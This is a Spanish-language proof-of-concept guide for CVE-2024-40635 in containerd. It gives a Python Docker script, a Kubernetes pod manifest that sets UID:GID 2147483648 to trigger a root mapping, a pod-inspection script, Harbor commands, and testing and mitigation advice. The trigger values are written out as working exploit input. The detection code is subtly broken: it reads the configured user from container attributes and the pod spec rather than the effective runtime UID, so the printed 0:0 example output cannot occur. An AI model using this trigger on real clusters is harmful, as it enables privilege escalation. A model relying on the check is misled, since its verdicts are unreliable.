CVE-2024-40635_POC

Código de prueba de concepto para demostrar la vulnerabilidad CVE-2024-40635 Datos recopilados desde aquí: https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. Importando la biblioteca Docker

import docker

Esto importa la biblioteca docker de Python, que permite la interacción con Docker mediante su API. Si esta biblioteca no está instalada, puedes agregarla ejecutando:

pip install docker

2. Inicializar el cliente Docker

client = docker.from_env()

Aquí, creamos un objeto cliente Docker usando el método docker.from_env(). Esto se conecta al demonio Docker que se ejecuta en tu máquina (o un host remoto, si está configurado).

3. Definiendo una función para comprobar la vulnerabilidad

def is_system_vulnerable(container):
    try:
        # Inspect container details
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"Container UID:GID = {uid_gid}")  # Print the UID:GID
        if uid_gid == "0:0":  # Root UID:GID
            return True
        return False
    except Exception as e:
        print(f"Error checking container details: {e}")
        return False

• Propósito: Esta función comprueba si el sistema es vulnerable inspeccionando los atributos del contenedor creado.

• Pasos clave:

  • container.attrs: Obtiene todos los metadatos del contenedor (configuración, ajustes de ejecución, etc.).

  • details['Config']['User']: Extrae el UID:GID (ID de usuario y grupo) bajo el cual se ejecuta el contenedor. Esta es la propiedad que estamos probando.

  • print(f"Container UID:GID = {uid_gid}"): Siempre imprime el UID:GID para visibilidad.

  • Comprobando la vulnerabilidad: Si UID:GID es "0:0", indica que el contenedor se ejecuta con privilegios de root y el sistema es vulnerable.

4. Ejecutando un contenedor Docker

container = client.containers.run(
    "vulnerable-image",  # Replace with your test image
    user="2147483648:2147483648",  # UID:GID exceeding 32-bit signed integer
    detach=True
)

• client.containers.run: Esto crea e inicia un contenedor Docker.

  • "vulnerable-image": Reemplázala con el nombre de una imagen Docker real adecuada para pruebas.

  • user="2147483648:2147483648": Aquí, establecemos un ID de usuario y grupo personalizado (UID:GID). Los valores exceden el rango de entero con signo de 32 bits, lo cual es la condición desencadenante de la vulnerabilidad.

  • detach=True: Esto asegura que el contenedor se ejecute en segundo plano, permitiendo que el script continúe sin esperar a que el contenedor termine su ejecución.

5. Comprobando errores

try:
    ...
except Exception as e:
    print(f"Error: {e}")

Este bloque try-except asegura que cualquier error durante la creación o ejecución del contenedor sea capturado e impreso, evitando la terminación abrupta del script.

6. Imprimiendo el ID del contenedor

print(f"Container {container.id} started.")

Una vez que el contenedor se ha creado e iniciado exitosamente, su ID único se imprime para referencia. Esto es útil para depurar o inspeccionar más a fondo el contenedor.

7. Invocando la comprobación de vulnerabilidad

if is_system_vulnerable(container):
    print("System is vulnerable: Container is running as root!")
else:
    print("System is not vulnerable.")

Esto llama a la función is_system_vulnerable, pasando el contenedor creado como argumento.

Basado en el resultado (True para vulnerable, False para no vulnerable), imprime un mensaje correspondiente.

8. Detalles de salida

El script está diseñado para proporcionar información detallada en su salida, incluyendo:

• El UID:GID asignado al contenedor.

• Una clara indicación de si el sistema es vulnerable o no.

Ejemplo paso a paso:

Imagina que este script se ejecuta en un entorno de prueba y ocurre lo siguiente:

1. Se crea un contenedor usando la imagen vulnerable y el usuario 2147483648:2147483648.
2. Durante la comprobación de vulnerabilidad, el sistema interpreta estos ID como 0:0 (root), haciendo que el contenedor se ejecute con privilegios de root.
3. El script identifica este comportamiento, imprimiendo:

Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!

Alternativamente, si el sistema maneja correctamente valores grandes de UID:GID y no los mapea a root, podrías ver:

Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.

Notas para pruebas:

• Usa un entorno aislado (por ejemplo, una máquina virtual) para evitar arriesgar sistemas en producción.
• Reemplaza "vulnerable-image" con una imagen Docker que se ajuste a tu escenario de prueba (por ejemplo, una imagen con dependencias mínimas).
• Asegúrate de que Docker esté instalado y accesible desde el entorno Python.

Ejecución desde un entorno en vivo

Ejecutar esta prueba de concepto (PoC) en un entorno en vivo como Kubernetes y Harbor para pentesting implica una planificación cuidadosa para garantizar que las pruebas sean controladas, éticas e impactantes. Aquí tienes un desglose de cómo puedes llevarlo a cabo:

1. Planificar y preparar

• Alcance: Define los límites de tus pruebas. Asegúrate de tener permisos explícitos para realizar pentesting en el entorno en vivo.
• Copia de seguridad: Crea copias de seguridad de los sistemas y contenedores críticos en caso de que las pruebas afecten su disponibilidad o datos.
• Entorno de pruebas: Configura un namespace o clúster separado dentro de Kubernetes dedicado a esta PoC para evitar afectar las cargas de trabajo en producción.

2. Usar Kubernetes para pruebas Aquí te mostramos cómo puedes integrar la PoC en Kubernetes: a. Desplegar la versión vulnerable

• Despliega un contenedor usando la versión vulnerable de containerd (v1.6.35-gke.0) dentro de tu clúster de Kubernetes.

• Usa una imagen Docker (por ejemplo, "vulnerable-image") con dependencias mínimas para mantener la superficie de ataque pequeña.

Ejemplo YAML para despliegue en Kubernetes:

apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # Replace with your test image
    securityContext:
      runAsUser: 2147483648  # Intentionally exceed 32-bit signed integer
      runAsGroup: 2147483648

Aplica el YAML con:

kubectl apply -f pod.yml

b. Verificar con la PoC

• Ejecuta el script Python que has desarrollado desde una máquina que tenga acceso al clúster de Kubernetes. Por ejemplo, puedes modificar el script para interactuar con Kubernetes usando la biblioteca kubernetes de Python.

• Instálala con:

pip install kubernetes

Aquí tienes un fragmento actualizado para integrar Kubernetes:

from kubernetes import client, config

# Load Kubernetes configuration
config.load_kube_config()

# Create a Kubernetes API client
v1 = client.CoreV1Api()

# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("System is vulnerable: Pod is running as root!")
    else:
        print("System is not vulnerable.")

check_pod_user("vulnerable-pod", "pentest")

3. Usar Harbor para la gestión de imágenes Dado que Harbor es un registro de contenedores, puedes:

• Subir la Imagen Vulnerable: Etiqueta y sube tu imagen vulnerable a Harbor:

docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest

• Extraer la Imagen para Pruebas: Asegúrate de que el Pod de Kubernetes use la imagen de Harbor especificando la ruta completa de Harbor en el campo de imagen del archivo YAML.

Harbor te permite controlar el acceso a las imágenes, así que restringe el acceso para garantizar que la imagen vulnerable se use solo en pentesting.

4. Validar y documentar resultados

• Validación: Después de ejecutar la PoC, revisa los registros para cualquier indicio de que la vulnerabilidad se desencadenó. Por ejemplo, confirma si el contenedor (o el Pod) se ejecuta como root.

• Documentación: Registra tus hallazgos, como:

  • El UID:GID asignado al contenedor o Pod.
  • Registros o salidas que indiquen si el sistema es vulnerable.
  • Recomendaciones para mitigación (por ejemplo, actualizar containerd a una versión corregida).

5. Mitigación Una vez completadas las pruebas:

• Parchea tu entorno actualizando containerd a una versión corregida (1.6.38 o posterior).
• Aplica políticas de seguridad (por ejemplo, usando PodSecurityPolicy o Open Policy Agent) para evitar que se ejecuten contenedores con configuraciones inseguras de UID:GID.

Precaución

• Realiza pruebas solo en un entorno que controlas o para el que tienes permiso explícito.
• Asegúrate de que la imagen vulnerable no se despliegue más allá del entorno de prueba.
• Maneja los hallazgos sensibles de manera responsable, reportándolos a tu organización.